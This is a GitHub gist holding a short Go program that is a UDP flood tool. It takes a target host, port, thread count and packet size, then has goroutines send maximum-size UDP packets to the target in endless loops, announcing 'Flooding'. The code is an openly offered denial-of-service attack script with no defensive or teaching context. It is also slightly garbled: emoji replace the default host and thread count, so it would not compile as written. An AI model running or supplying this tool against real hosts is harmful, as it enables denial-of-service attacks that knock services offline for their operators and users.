Created
May 1, 2022 09:24
-
-
Save andnasnd/8c8bb495be354f46deecbcdbf1c9ca00 to your computer and use it in GitHub Desktop.
sent from iphone
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"flag" | |
"fmt" | |
"net" | |
) | |
var ( | |
_host = flag.String("h", "🤡", "Specify Host") | |
_port = flag.Int("p", 443, "Specify Port") | |
_threads = flag.Int("t", 💯💯, "Specify threads") | |
_size = flag.Int("s", 65507, "Packet Size") | |
) | |
func main() { | |
flag.Parse() | |
fullAddr := fmt.Sprintf("%s:%v", *_host, *_port) | |
buf := make([]byte, *_size) | |
conn, err := net.Dial("udp", fullAddr) | |
if err != nil { | |
fmt.Println(err) | |
} else { | |
fmt.Printf("Flooding 🌊 %s\n", fullAddr) | |
for i := 0; i < *_threads; i++ { | |
go func() { | |
for { | |
conn.Write(buf) | |
} | |
}() | |
} | |
} | |
<-make(chan bool, 1) | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment